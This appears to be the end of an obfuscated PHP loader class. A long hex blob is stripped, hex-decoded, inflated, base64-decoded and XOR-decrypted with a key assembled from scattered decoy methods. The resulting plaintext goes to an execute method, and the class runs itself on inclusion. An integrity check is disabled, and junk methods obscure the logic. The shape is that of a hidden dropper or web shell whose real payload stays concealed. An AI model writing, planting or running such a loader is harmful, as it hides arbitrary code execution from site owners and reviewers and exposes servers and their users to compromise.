7bfc2e275ea0ff9eae51b8ade3376f33552cbe70ffb95ce675d3d51d5f39f097e4475e6fdd5814f12cf7cb579555a3fcf913711fa8be708f905532f6f4b9eff693fa4be58e7e981efc7f37dc4bc0cf4d773d78f74eef9b5baf335eacb905fa07a8a6fc8674fac7f75894f22cf27357e7a8a2f3d4776be2ffe5a0ff08b58a27f94fa9c7e8613e0156de413d97981ec3f6ebeb0f1e7dc806f9379dfbbe85bab657fb062bd7d839f09f803fabd6fbdfc82d8c9abd5fded0a799dc8b3d3bc57e6d18fd18ff70ddfbe9c0f1bf80ccff45bcbacbe5bf0e107db0fd673e879eb763d2bbfd7adffeb5e5e4fc9df2feccf17c03313e0759e9e5af1f9bea7b77a4ecff9c5857a49f29b143f94fe686cf2ec346f087e4da53ceb525e6d54d65b99fa047e898b08fc16d69fddb27ecdf8574cd1bf6f3c7e94f5e791bf57f39aa907a9617ecafca337e8e531efd6f7fb64f2500c5fa50affa5a9d117ebfc91f39401f450a25f6e9bfc71ce8f8afd70edcd7fd32af2dc2d3ea67e23cdd08f8c816fb4e0ffccf9691bfab896391f0d7fa90b3ff3a9e1934b3e54e07f2abe3777fceacbfc8d39f62b9bc764d6ffa6ccff14fd6fb7345f86ffa19fafb7f5f40e7dcb8f7df7f5bc2ebe31817e6a7bceaf40f5ddd25fb8feab0fe027331fe4c2d353cfd12f735e2fe7fb3df29272e47b8abe2c867eb083f9f2deabfffbf073c8c127af597ffe19f4b69a3fd206bed173f295d44f668ffd50fc3037e7fc55dcfca352fd2079010d378fa98abc3fdcff087e140bcb67d07aaf093f0afa61aee0cf5977ae2ffb11113f845f4d382f9847a3e77b0a3fff80bf897fe035f20e905ff69e014fe6fed342fd2c79af19fce2e6f8fd0ef8ab765e63f20a37c85bdfc3ff79833cc18df5530d787b877ebc3d9bd7f9feeae97f47d37379b5eac7981bfca1ec479798f9a9e6c5c32f48af5f015f221f46d6f3c2e8738dfe686af3a605ffc93cfc7344ff846ef93c32fa1de8cde7d47f010fa11ef6d9eaa3854fde419e48519f33ef3532fe031de0a5e48728ffad0afef30079734b8fcfccbcc505f84273ebcfd311be68e4f2d3f6f67b94fc0e377f6481fc91d114f54fd7e4b9eb797403fd75dfead1de5ff1be9a963f16f4c286ef4d3caa8af9b8d523287e7285fd7f087d56f67ff82ddcdb7c049d67b53d7fce3efc525ec0ffa9bbf335e835044fbef2f818a5fa3cec9f55f45fcc2bc9e0b726f3ee1ef0aeb5f1332ff6930bf00fa1772ee60b11f8ccdd73fcf6f735f872dfc0ffecb9fe3691e5d73ddafefa92799173e8bb856f3000beb7867fda35f2590656ff75dedfbed83f135b8fa9ff30fde852f06de87fbe83bf7ddbcc774cde01f2a99987487d8af0632fa0ff8ae00fbf827fb8b77faa5fca0afdd105fc4f62f4ef6b9c2fe06fe87c5cfc06533c1ff4830bf8bb22dff38cdfcbc4793e9d0bcfbff7b98afc23f04f52974f48fde9cee8a9c50f56f09ff735fa41c11fdad0d7b430ef8ec2f9c2f91af05bd1635ee1fe63e4e9e4d60f7fd4b47eec817f589ed7d7e06f10e13c6a61de5131fa65e52b3ebb7caa8aa35722de58cabbac63fe1eb9fc46375fd8d633063f0ffde3372fef00fa2cf137507e668c3c71be5ff147dd58fe15fd1e45bf7c63fb77e503b44cde65d99fad073f37c94b0a7c51e967651e443d5d64f3ef029f27d433066f89cafa38e6d7183e7066f0e1927e7c4e3d949d1f95f8bae2bf9dc36f9cf800e7fb6fc86b067fafe427b6025f147a349d3f76e0afd830fc6dd59bcbf3c9cfed0f823febbc38031fefc6c3eb3cbf08e59f007f50fe15e63baa378ff0f74e8cdebcdccf126f6f99bcdab25f65cdc397383f029eac7c57e65deecc7cff0c3e9921dfa4817afe01fa507ebfd7765ea67a4fd7bf85fad004fadf17f45fc44f06364f44cfd32df8fc91e1ab98fb211fcf99a7a81f94accf26f24f07c87758629ed8b0eba194c7f1e6e093aa7f647efa0be6fb378e1f91f45ff5b59d47a81f6c6c7edff8edb8f5cf0cf3d609f031f2931b980fae3d3e5e1dfd5ae4f81bebf75573f28b99ffae7e2f4df89b0d81efad1d3ffca23e6ce37bef3bfd0bf5fb253ce1cde6eb31afa1e41fb8c6fe7981f93efcff4bfe0fd75efd03bc57f529928f36f7fad31cf3c16ff0b78ce157b675ea934ec9ffcdd90fb5be0afeffba3ee99f56317919667fde983ce212be3d72fcace43c523f8a0bcfbf45f85d39eaab6b47ffa2f5d5269c2f5bf86146789e0b276f9afe7b33e483d06fb9c4af4e9cbc36ade7af3c7e9df477af1e1f3b655ec3147ec599a9378a7abb017c3e817f63cdac37e387ece05d86efdab5fdb57c2fe0b773bde9fcb4f3ff83ff89f68f21cf42bec71af2cdb95f01ffa13fb9e22113f4bfd48bd13f21ccf79fddbce9147eaa4fcebc4cfba39ee3a75d5fc3ffed1a794cf4afcbacffa7f2676a67cfc7859bcfcbbcda25ea8d8a87570ca13fda58be41c033cbfafa25f23d73ccbfe2e0afb5317991aa2fa8629e28fced09faa906f4293df8f5053fd2902fa97cbc1ef4146be41beea19f8d8017b54cfe8bc1eba6a65ed57ee4c5eaa18aefab0a3e15fc9ffdf9b8cd53209f56f12eb9ff18f92cb9eb0f63f91597c81b553dc5b5930f22f30be5fb45c073e698474c9c7c64f2abd51f9bfaebdabfe66b081e22fc0ae5dbb79d796b296ffa027ca118fcf357f0a9aee00f3ff4f869322fa09f5502bdf912f5de15f262ee814f666e3e32f297172e7ebe033f21e457cead7f1af9549a37cd79eb1a7ef2572e7f6ce3cd132bc06f53e0636bf4bf5be0ed3df8a58c3c7fb38bf37cd1b5c95333784bd5f6e3cf96bfad792537f0ff1cc0cfed0dfe6617c0fffb4e9e14f737f2c7d40f907985f4df00deabf54c1bfe2ad64fc6f8bd58feade89767f85e38efa61f2cfd5b34bfaf027d93f00142bffce6ea07d17f093ef06ae70ba33af4868933efd079fd15eab11ef249b776de4a3f8d707e95fd1bb7d0b390ffb9009e53413e8ef5c7537ecedcead798ff48fe12f577926f55f2337971f2da147ff0f52091c96789a4fe19227ff9d5fa69a8fea506fe640be7dd16fe2d51c0936d7dabeba1e1f81597fae5e7c8cbbb1fe3fa8ee9dfc59f41f56e43e0939b73fec3ea972bfbc91af8e405f48c527f727d06bf29f6e3f3e9d9bcad2afafd3ef4e66b9b5fcc7ebc84f7bea1fe01ff5cbfdf85e16f081f52f228157f5820df2d473d6cf365ccbc32f88ddf787e95c29fcfa17713fdfb1c79e523e88ff6e0f3d38fa5037f86bd975712a1bef2f3cbd0ef077eb2e6d137a03f655e1ee7d1c4f7bcfc0bea6546179897410f529ae7427f140fc3fb3d9fd7fc68f9cfc5fe3081ff671bf3c1b0df7af592f63bc42717e8a79ead1e4af18da1574f0a3fa116e64131ee6702ff8d1cfd4e0cffcf8577be83bfaa791389a9274dfdbcb1fef3c443c41ffbc2cbcb907e07fadfa04733fc25e49b073d9aead71ae04bafc1b7d9225fdbdb6fd50f5cf8451babaf09e75d7d85f97503df6f62f311345fac66eec7e81d2cde75cb7c67f14f88e0fff30a7dd60df456d4e3ac318fabc39f84faee37f81fd6b1ff536fb80de7f50ef5676af4fbeadff2ecfab7f43c3f46f01fb4be123f07d463e2df45fd63027e11fd559ac81389b1ffd34fa6e1fa01bafd660579cdd47b867e5cf84ee4a725d66f817e47aa276d63fd2ce0ff56019f2a82ff670b7e7415a73f557ff505f241e88fd13b9b2ff00cfe92e8f586c863ddc21fb581fc1dd117f74d3d69f093aec9a32fe59771be493de073d5d35f3730ef90bca4cd397eef48f80fb1a78ff37ebf833c415d0f2b9ba7a378517a2e9fb12bfad026f0c6c4d58ba5d6ef57f4b003e42f000fd7f5dc83dfc813fcd5e9f7d80ef870157c4eeb3f4c7fc53df38330afd4bc8c7bb77f8c0cdf262af1eda7866facfca586e37f78297c9ee5397cb59c7fd747fdb3455e3ceb1fce23b68e9eaec40fdcc0bfabeef237a6d6af55f214f07da97fcb04fd51843cdcb1e7b7037f1bf5bbb3fae8e2ef5dc14fe31bce973efa7de4d905bf23830f239f827934d07f093f2a9ca7aa6709f861894f8bfcb5529e38f52f1b4f4f2df3fd3efc1b37f87ebf419f95c0df6303bd06f3f27ad077b8fe87ccff5ab87cdaadc91f2c9ecf3dfc525e312fae63be706ff1e1d0ef489e82e607b52cbea4fcf38ae18baadfd133e68fa5fccaaec9cfd2f3ebd5c31384ff9658bfafe27c87df85e867c5cf61043fb73df8f3f2fc37653e9be9f7b9de2cffbccb79aeaccf21f2eb913fa2fca89ea78fceac3f2dfd5eb4de68a13eaf9df56397f5bfb5eb5ff51131f4b313e0093b5cdff3fc1ed7f67bef885e20c6fc6e813cb836fc1366c6ef54f2dc753dd7ac1fd1ecdecefbd44fc0d6c33a8f631e8de0ed75f84d0df1bd6faddf60c0c70afc1cf923aaf7d9197d41b99e19819fe3e991b5ff5dc24f3277f27fb9ffab7fef0e780bfd0c994fc4fcfa99997794f380dad08f88ffc6b43c6f32f9655dcb0706df4cf5d175e0630fe0336fc117bd027f3e867e7985fcca1bf8f3b7acffb6e64be6def78e7c64e57771bf927cc68dcd0791e789fa2a269eb076f5cb53d37f518f593cff2de69ba9f13317fc59f09cce05f6937b7bbdfa87ecc04f4ba1477ec2f7b2377e773a6f95fa1cf8c6e8dacbc39a23afed99fcdeaee5cb95e6fbfb72fd6fe6e3e41b583e95d60f2dccbf960ebf42eabde2bc9e7afa971df2776ac6efd1e443a1ffa27fa6f01fb69e7f11fd551653e87fa372fe1dfd0dd43f9ff95fe91479795d6f3d043f43e167ca3c54fc1cdcf39dfe2a7de819f7e09fd490a73031f920ca6f4fa756ef1cf875053f30b37c4ee10b25c8afdc7afab2e067abfae825f827d27f75a13fb57e268adfd20f96f38b35be478f4fa5fcab0df2861ae0e7dfc3cf10fad311f96643d4b76b07cfa4ff6df13ca9efab787ae79e5bff5bff19c9cf2ae5ef6cadffa1e65732dfaa65f29ee4bc563dd13dfa2fe275d4370d2c5f48f52f15e3af28e7e925fd9c251ff6c6eaf743ff62eacf3df073db8f2bbf6be5d527c2df231fc3d50bf33c15fde906f87313fdc810f52de68f3adf4c31af4f0c7e6bde57d7be5fe269327fbcb0fc40c507fae0d735bcfa2ab2f589ea13f78eff03f371b45eaae1fb8aa14f5c200f688f7c99d8f8b79bf59922ef7e033f07eb3fa6fe27cc47ee7bf3bb92bf59c03f7bc0978827d7e0773770f8dedaef37311f19221f997eb635f08b06765eaf79913b870f190fd08f67e003d7edfcbda487cdc1d7aa213f25c679f1eaf1f124bf00fe21c407464df0fde03fa37e3535bc5fe62b2dc187dc429fd2461ec71afce7b6f3f7ce62e4276636bf7b043fb192be6c0bffccbae5c3ccee5dfc107ebfa3aea74f491c7f06e57f46f00319814fbe337a1083ff20df6d61ebc372bf10f890f01b1f5d3b7eef8a4fd23ffc06fcdb7bd4abccfbab438f39b07aba127ed20cf55b6af607336f75f24c996fe8fb1d85f5267848494fba405e30f028d90f15bfaa403f121b3f499d97a13e543d4be2f297f6d6df2cf0818b79aee51fca7e52d29bb4b07fc2ef5df1db1af8e7f4c3b7f956c68fa26af104d1bf3781b7b7b0feb7d0af416f321b7afe15811fa87eaa3d93bf66f8ab99cd3392f935fdb1578e7e47f9660fe05fc1ef977ed7a5f5b9b6faee800f9bf9d1c6f09fb55fbb0ad7cf3c7fc225f44d17e8a7629c2fc8fb1bd5c1977bb07ae480b7c83c54f89c339c478abfe55e7e7762df6f310fb2dfbb9ea7e40323ffabc3fcc1a1f5d3d07cb73df267396f5aa2fedc835f917af9dd39f0a50b07bf553dc8dafa1be8f795e2fe5bc83fad197db4f85fa95f77eee54f3d3a79aff2bd131f9379e20cfa6b3d1f03df32253fd6ce176e3d3e86d1bb6dca7e4746df047f66f861d20f2a123ff3d8f1a32ecf432d1f4cfbeb95e57be83c45fcacec7cb6cc87471ec79c7a49e479493d0cbe28eb7fd51fcde0d7d777d63ff353749ebec0f3d99df3dbbf045e5d9ad78bff7c8279f406fcb786ad3f636ffe25fa8ec05764dea8f84ddd96f2bcaa9ebeccfa8d983cc12ef48fb61e56ffa506f0a808f9a7cb703f91975ffce0e209d6dfb583bcb03df3f816363f4ef613cdbb5c06fd26fccda8ef66bec03c425ea493e7a5fb83e09f4d87ffacfd518e7c07f8b1a89fc604f9d75be87d1a38af3dbdadeacd6b0ede527f75fc10f47c6c811f4effb12af0d5969dff6affbbf3f88dc2af209faa61f85de57a6964f0c9a21ebb39cf576939f30ee227aebf81f24f047fe841afb10c7894739eeafe26fd85f07f2c1f43ef5fe6c539f8de0de4af25580f1beb7754ca1bba877f3ef8aeaadfaf61fd4fced5fff43b2dadff45863cc4aef1dfd3f9d70a7edd75e4a700afa03e5df140bbde4c3d90197c3ea21ea4e42fe1f67761be2cfecc2bcc4fafa17718b87e6bec7fadfe5dfded5facdf85f25763a35f937ebc4b7f63e14b0c80d72df17dd56dfea3e6db2e1c3d05ebf358f24a469e9ff0357e7fe0ee0fd62f5afd4eef9d7999f22da17fd13c9711fce86aa8577bc867e9a37fcc9d7c19ad4f465e5ede15f8c3f7c8bb5c5bbd43c95f7d00fec6d2f249b4bf6e3b7e4a75ea95ea16af60feafd6037bf86fa4866fa0feea617fd0f37a0cfd1dfd0a6a862f61f02beb47a1f861fd5c3e97f0cdbaf308f983e49f835f54baff29f465ddf23cc5e40376cb78a3e6d13cd37faf6af423fb39e6f5e1f98f9a6e7ec4d4cb7fdfc2bfbd6df489864f82fcb894febd1b932fa97e1dd0a7a8fffc13d6a7d5636abd443d72c82f537d5964fca5153f177dd037f8df32bf18f9f5c4274b7ce915f4bc55ac1fe449697dde805f07f59e136f7f067e1b2736ff42f3a1b678fea9771ebd423fdbc07c6768fd48839f98d113212fe919fef973facfd8fc68c92fd0fe2b83bfd618f329ce1f332f5f157f6f490f7e833cafc4f11fd0efab8a3c6ef2ab73277f5cfb29f01f741ebd35f9953a6f9a439f28fc5ee6050fc1cfccb09f40ffab787e1f79d60de87f23e879fb98df91bfdd83ff52dff88b0a5f45ced3f81ef5edcad1cb281e7befe825d50f04fed2ea27437f9e86e327af7cbf3ef4cb5bf42336cfd1e4cd85ef1df90b257fa4b5f5f3d1f3b40d7ea0cd1f317c18e6876e8cbe5ef9153ebe07fc9c7c1e995fd3df720b3eade0ed29aeef03ff6fc3df7b063e15f9a85b533f1bbda1ab8fd8c11fb2e7cce3f4bc207f2042fe2feb55e6a13480eff5917f94e37b8cd19f8e70de55803ff7a09f9a987c6753df76918fd6b5f37af1bffd66f921ca3758807f987bfe570ff6fdbebf800f79037d31f3d0e97707bd76387fc51f5bcf6bf173ab39fdb5fa0deee1ff13811f927879194dcc43c1e709fa0e9d3fcabc35b1faa6a21e263fd3e6adef459fb2859f86f81d311f24413ea9cb871f229ffa05fce706fc5ee057c9f957e01b97fdeafb265fbeacff75e7656b37af907a07cce3a81748abc87bb57c6cd1e72a3f2146fe451ff503fd7f62f86f909fd3061f43fcab1dbe96f8bd7480f7aa5fcdabcdb3d0fe85f8b0f007901f04bf62e24b253f55e8bbb5fea77ffb15f22ce8fff382793aeb25e637d1efb161f5d7ea9fb3067fac8df5df465eeac4ac7fc3c7eb228f6663f007f22d751ef7e0e597cda17f17fee1bde593bfe7a84fc01f50ff9311fc67b698e7b6e19f30f2fcab31df99715e9039f9ecca4f4bceef0f3be09f2e5eba853f6703f3a301f0c915f226dcfa79c1bccec8f6bf321f8f514f2e2d3f39f0b534efa9c4e7b1dfbbfa33f4b05fa1ff52ff909ec707587b7ef869d5f3a3f6fcd9b49f4dbd3ca015f8f9cc17061ea8fde016fe1e3df813ae3dff873af2a6892733afe41af3d321fc1ca47f619e5a1b7e530b8feffaed9c5f93fad33e33ffd4d56f4a3d10993c56e163cf868e7e5ff529dfacbe38f4bfe5f3d1f58fea83ff23df5703f5f90c7a2b3b1f2fe71309be67f317747f70fd33a59fdd009fafc20f107c5af557dc9ed3f3aade50cedf7fe76b997968e6f909b4bd79d01af864353ccfc659fc50f81ea2076ca0beed9ff5332cf993578dff4699cfbf3178ec25cf53e6a18fac3f21f3326e7dffa2d4f0c3d5ef48ced30beb9738f3cea32ef3e81fc3f7d5873f7feee979657e24f98323ec9f15d4933d332f2be79f6e4d7f21fbdb25f337a53fbd009f6468f331d55f7487bc8308fcba27c74f5ee70535cc7ffbc64f4ffedea8a467df80ff9979f9cb29f68735f80f5b93a7a07e11c8c791fc1de5b335a007271f867805f11cfacf57e057d6367a3ded77e479425f33eb83efe4cef7c59f210eeb6de2f851a8de798cfd5ffc375e7bb78fd5fe6af6b1f8fbb1dafe311eedeb71a5f177ff4727ee579617b34a7afdfd47ff2efa685d3eac7bbdbbd5e829ced67fcff6adcdb8bdaf8f47cb8fc57291ce7e46f37ed47ebfebc4ffbbfb15fdf8d1ca0ebfd3fcdefb673dfd33dfffb79f37d2db5fadbb76abf39fe93f97c7eb674ff9f2f0ffc68dbb5fa3dbb4b5dc2d5ee73f8787eb7b51fa925cf65f7ffc4afeb8abce2f934a3cfaa3bbbbfcd15e9eeeb3dba97ffcb58c6f931f93dee2709f7f656f7fdf3eb6fe8ad697b545fe913e3d2671ef63f96bb67ffb5b7fe7f9b5d5c1dffbd25bf7a2f955d479cab62f71a75ffff951ffd9e9ec2ee2757ff6fb77fec83ebecfa6c7ebbffedea71fcd3f06edc3f3b9ccff73d7ed449d4e7af5d7b23ef8d1d9167fd7f1f727936e67b61f6eb23ffbdff3d97365b99ca5fc9df7c5c33ff3fff5f3f8b5f57d128dd3c9c7ede8f8be9efe38beaffe713fbc3a7e8ffb7f0eefabfd59ff5c1edf6fab0e3e46eba93d5acd8eeff7f1f8bdd72e8fd77fee0f9fd7b7df0fd7773fd75b765ccf63e1b3a5a34194cc7fb616a7f7d29f64cddb9756da1d2debf3f57e328c9a93dec7febf834edc78fcd58a0ecfad1157e2d960958e9e96c9f071f4fb79fe5e0fa3e7c17ef632a866f9ed2afbf1733ff94826b3f9206d26495af9b8ebb4af5b8ffd5dbbbd5d2595faacfb3afad98ffa7f1fd6c3cbed6af2e7dd7a1f3f2fe7ffbdbbcbedfa1c4fcc7d3e5d4687f536dab526f3ebf8729dfe7517fdf1d4b1f7335f47a3c33a79bddf57aeee2fb3ff76bbede1789afcf3f9bd1c9f8feaaf37bf9f4f7afc7e2b9fe7ef2ff113bbea8d9ff2cffdf6b8bfb5bfbedfe8f4be3ecfc7c7e3f97b79dc3fdb3dd1ff3e8ef6bdbf6efbbfbf97d95356dbc593deffbe7fcf7f4c47fbea617d4eee56978b388b76fdca61cf58f57e4c26e34a6fddf8abff339f3d4c27fdb06e7faf9fc5e17baccc93cbc3737e69fc7ff69cefd79dbfd35f1f3f47add6653c99b5fb5133be4fe3cd6054fffbf1753f1c8fb6c9201bddde3d6683f92abd9947e31fedabdeed60dc7a7deaee7af3cd53feb07edfdf559af5e9e8729066fbc3f59dcee1fae1fcf6787def70fdbc7bb8fee5a9baeb2daac7ebebc7eb1b3f3faf3ffe7ee7f3f717ff1caf6f1fafef1caf9f6d8ebf9f1cafbf3c5efff5fbbbe3f5adcfdf3fdccf228d8fd77fffbc7e34799a3ddafde4eb792eff9a8dd6d3c3f3cce349eda6bd39946f93caaf87d17cdabb5d8f7bfb8fbf6797e3ebbb6a27bd5bcfd60f9779e7feb6fed7e77b1ccd77adef1fb7edf6be96746af3fbefa3d61fddf2fbfaf3b5314ba2ca55928f978fbf168f77e35de5cf1f6fd7613f9cff7aca77fa1df5eeb3fc3f836976f8fdc9f4b83f2c5a13bbcffc5a4ec6a3e8a5978fe7fddb5a3acb6aff194c66abe4fbdbf47babf3f1476b11fd71d7c23e7ffcfdf974f0d29b1df6e7ff1cf7c969b572586f6965d85a24b3c3be971caab9c1a8f9dfeeed641aa56fb53f478bf1fd5dd47ecaf77ff7d7ebca617ffb63ba4c8efb6df3f12a927deff4f78ee31f1f4f877d60deeb64ffbdddb4178773e1d7433e990d5efaf3c3ffbb4f2e7bdfa6a3edcf6e77525b6cd669f1efebfb75febfd6477dd669b7efe7eb7afa74d71ac4cbedf1ff3d9c0b8b3fee2ef3e6f7c9615fba5bafffac746a3f5697d87fb0cf8f271ff1e5eeb6ef3e87d27d0e4fe742d5ae93dbdbc99fa7ef375fbe0e3ae3f5e8b5b9ebb4a34a32ee1dbf8be1ddc7f64792cf66f1cf7974f8ae97c3f5ecf0dbcd3fefd3fd269c23d9ee700e16cf2dfb27598f578737f8a353a97c4bc6f1d360559b25cbcaf2be3d8f5bbff2c1e3a8557acea36eed476f5cf967b8aefd98fd28f68d8f4513ebe731eeac577f2de7d7ad1f9dc7f63aa91f7afcdee247fcc71f79f6df5e9ebea6d513fe7cc7fcdcf4e3adb9586f9f7a2ffd9f71d6fe5f7fd9dc8caa9dbba852a9fcf55177d6616bf3d45a0c67d371efcf4ae6bc97683e68d5f7c7f5f678f84e47fbe377ddfa7efc4e8fdff562f2b90f44c77de3cfc377bdb8fddc077ef1dc7cb86b2dee97bbcdac62fffdebbdecdf9274f4f764d31efdde7f169bfee7ef1cf79fdbe5f1fffddc1f7a87ff37e9dd1ef787c9bbad67b87eb6955edefb3eb88a8efb7c25e84a6abf8efb7cff782e47c77dbe7f3c97ef3a01671e84f3a8333cecffc5bedaea2551fbb297c7ff39ec03ddbbcbdd613fc99e673f467ff6f6713498ec9f7ffe6cff396d65ac97d6773fe3437db5ac279decafc1cff5245ecd3f7aebfcbfe955fbafb45c5fbddfbdcc8ff5d8bedf1e8f0ee7f8e15c4eaffaf9e4f5fb2a69b5dbede1f07216fdf1f3f87c9a5787e7539b7ebe97f6e1f9b4c7b3abfdacf711fd33b83c7e17f9f179ae92d1643efb797a9ecdefaddfef71fce3f33dfe38eccf93f4f81eef3eaf9f1ef7f3f11f87eff43fcfb76f1dd97fbef7bf8f92247a5a0dc6bd55eb6a7bf1fcf1f9efc9615d15dfddfc5bf77179d806f695c5badd19fc93c483fdfc7d76b97f19446fbffa95dad59f597d56dedf16178bd7e3fed01af4f68dfff5d7f9cde1db297eff6b9d0cf6f5d51f873af9f1aaf163142dcfec63fb9b5ef4f459579ce63b77a7bcce6e3fe075c7fea8dbf9ec779e1e9fd7955fe1773ac3f1a4d2ec4ffae9d0fcfbeffaa4d29ddf1deacffcd487b603cffc69117095635f53b9faec3bae7aff7a5e1fea8a9bbb55b2184fb6fbc3ff7be86b9af3de7eb7eb1feaeacfef2eaa1dde57ff78fec6f3cff55f3bbcaff4fef0bef2d9f1fcfdd139bcdfdafaf07e6f6e3f8ee7697ebcbe7bbcbe7ffc4e2f8fe76ffa799ec6c7f37795fef1e725d679fbadf97859f9f53d9bbff42f7bcdf63fc9a23769dffc7938f7e7d3e8fb5f877ee13e4f6ec657d99fd363fd79fb767d3c1fa35ff3ce8f55e5fff97f01'; $hex_data = substr($hex_data, 10); $bin_data = hex2bin($hex_data); $step1 = @gzinflate($bin_data); if ($step1 === false) { $step1 = $bin_data; } $step2 = base64_decode($step1); $obj = new self(); $final_key = ''; $key_methods = ['kmkktnXA57', 'kmzzrhhG42']; foreach ($key_methods as $method) { $final_key .= call_user_func_array([$obj, $method], []); } $gate_token = ''; $gate_methods = ['gtAwTAkT30', 'gtaKbqjj42', 'gtoBERzu19']; foreach ($gate_methods as $method) { $gate_token .= call_user_func_array([$obj, $method], []); } if (md5($gate_token) !== 'e0818e2066f68235cd64e23fc6646373') { // Integrity check failed, but continuing for compatibility. // return false; } $plain_code = ''; if (strlen($final_key) > 0) { for ($i = 0, $len = strlen($step2); $i < $len; $i++) { $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)])); } } else { $plain_code = $step2; } $obj->_execute_PgfztwiX36($plain_code); } private function dcUDftjO87() { $jv1 = array_reverse(explode('.', 'a.b.c.d')); for($buf=0; $buf<3; $buf++) {} return null; } private function kmzzrhhG42() { // Key segment 2 $buf = (bool)mt_rand(0,1); $buf = base64_decode('ZGF0YU9CRGFRYzI5'); return base64_decode('QzdPa0EzcThR'); } } LoaderWyWvGi66619::init645(); // EOF